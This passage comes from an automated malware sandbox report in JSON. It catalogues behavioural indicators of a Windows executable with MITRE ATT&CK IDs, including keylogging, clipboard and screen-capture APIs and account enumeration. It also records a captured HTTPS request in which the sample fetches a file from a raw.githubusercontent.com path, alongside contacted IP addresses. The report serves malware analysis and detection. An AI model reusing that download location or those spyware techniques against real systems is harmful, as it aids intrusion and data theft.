string)","description":"$69","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"file/memory contains long string with (Indicator: \"NetUserEnum\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"NetUserGetInfo\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"NetUserGetLocalGroups\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$6c","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"Found string \"raw.githubusercontent.com\" (Indicator: \"githubusercontent.com\"; File: \"PCAP\")\n Found string \"GET /qolewoqogu039-dotcom/test123/refs/heads/main/0910 HTTP/1.1Accept: */*Connection: closeHost: raw.githubusercontent.comUser-Agent: cpp-httplib/0.12.6\" (Indicator: \"githubusercontent.com\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$6d","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$6e","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$6f","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /qolewoqogu039-dotcom/test123/refs/heads/main/0910 HTTP/1.1\nAccept: */*\nConnection: close\nHost: raw.githubusercontent.com\nUser-Agent: cpp-httplib/0.12.6\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"raw.githubusercontent.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 1e93d985c806ca627b3b564ad06cc0c3\n Observed JA3 fingerprint: 35ffbe2daba5f224631a493c243351ec","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://go.dev\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://raw.githubusercontent.com/qolewoqogu039-dotcom/test123/refs/heads/main/0910","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"raw.githubusercontent.com\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"45.32.65.138\" on port \"443\"\n HTTPS traffic to \"185.199.108.133\" on port \"443\"\n HTTPS traffic to \"208.167.233.7\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Uses cURL to communicate over HTTPS","description":"file/memory contains long string with (Indicator: \"libcurl\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-722","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"sample.bin\"\n YARA signature for AES encryption matched on file \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe.3226260565\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Anti Debugging Used","description":"YARA signature matched on Anti Debugging used in file \"nfpvxyybtomq.sys\"","origin":"YARA Signature","mitre_attack_id":"T1622","relevance":2,"id":"yara-139","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Djb2 Hash Algorithm","description":"YARA signature for Djb2 Hash Algorithm matched on file \"sample.bin\"\n YARA signature for Djb2 Hash Algorithm matched on file \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe.3226260565\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-542","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00003628\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00001336\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"$70","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to perform remote desktop activity (API string)","description":"file/memory contains long string with (Indicator: \"WTSFreeMemory\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1021.001","relevance":1,"id":"string-436","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information (API string)","description":"file/memory contains long string with (Indicator: \"WTSQueryUserToken\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"WTSEnumerateSessions\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-546","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to transfer files remotely using SFTP","description":"Observed string: \"sftP\" (Indicator: \"sftp\") in Source: 00000000-00001336.00000001.108809.F594E000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-578","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$71","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00001336.00000000.107993.F2E20000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00001336.00000001.108809.B47F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access mailslot-related API (String)","description":"Found reference to API \"CreateMailslotA\" (Indicator: \"CreateMailslot\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"CreateMailslotW\" (Indicator: \"CreateMailslot\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"GetLogicalDrivesGetLongPathNameAGetLongPathNameWGetMailslotInfo\" (Indicator: \"GetMailslotInfo\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"GetMailslotInfo\" (Indicator: \"GetMailslotInfo\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-921","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardDataGetComboBoxInfo\" (Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found string \"GetClipboardData\" (Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"file/memory contains long string with (Indicator: \"GetDesktopWindow\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"CreateDCompositionHwndTarget\" (Indicator: \"CreateDC\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"file/memory contains long string with (Indicator: \"getlogicaldrivestringsw\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found string \"GetLogicalDriveStringsA\" (Indicator: \"getlogicaldrivestringsa\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"file/memory contains long string with (Indicator: \"RtlGetVersion\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"RtlGetNtVersionNumbers\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to monitor clipboard data (API string)","description":"Found string \"GetVolumePathNamesForVolumeNameAGetVolumePathNamesForVolumeNameWAddClipboardFormatListener\" (Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found string \"AddClipboardFormatListener\" (Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-925","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$72","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"GetAsyncKeyStateGetCIMSSM\" (Indicator: \"GetAsyncKeyState\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"AttachThreadInput\" (Indicator: \"AttachThreadInput\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")\n Found reference to API \"GetAsyncKeyState\" (Indicator: \"GetAsyncKeyState\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"$73","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$74","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$75","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"svcctrl3249_1523.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00001336)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" called \"GetComputerNameW\" (UID: 00000000-00003628)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00001336)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000030000000000000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00001336)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user names for specified SIDs","description":"\"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"16bf59bc4f0\"\n \"Count\": \"1\"}\n \"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"16bf59bc1b0\"\n \"Count\": \"1\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":1,"id":"api-255","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$76","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"GetClipboardDataGetComboBoxInfo\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"GetClipboardFormatNameA\" (Indicator: \"GetClipboardFormatName\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")\n Found reference to API \"GetClipboardFormatNameW\" (Indicator: \"GetClipboardFormatName\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to create/read/set mailslotinfo (API string)","description":"Found reference to API \"CreateMailslotA\" (Indicator: \"CreateMailslot\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"CreateMailslotW\" (Indicator: \"CreateMailslot\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"GetLogicalDrivesGetLongPathNameAGetLongPathNameWGetMailslotInfo\" (Indicator: \"GetMailslotInfo\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"GetMailslotInfo\" (Indicator: \"GetMailslotInfo\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-110","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$77","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate logon sessions (API string)","description":"file/memory contains long string with (Indicator: \"WTSEnumerateSessions\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-117","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"file/memory contains long string with (Indicator: \"ForEach-Object\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"Where-Object\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$78","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"file/memory contains long string with (Indicator: \"GetAdaptersInfo\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"GetAdaptersAddresses\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"internal/syscall/windows.GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"file/memory contains long string with (Indicator: \"LookupAccountName\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$79","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"$7a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$7b","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about MS-DOS device names (API string)","description":"file/memory contains long string with (Indicator: \"QueryDosDevice\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-227","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"file/memory contains long string with (Indicator: \"GetProcessId\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"GetProcessIdOfThread\" (Indicator: \"GetProcessId\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-WmiObject\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"$7c","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"$7d","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"$7e","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"file/memory contains long string with (Indicator: \"getsockname\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API 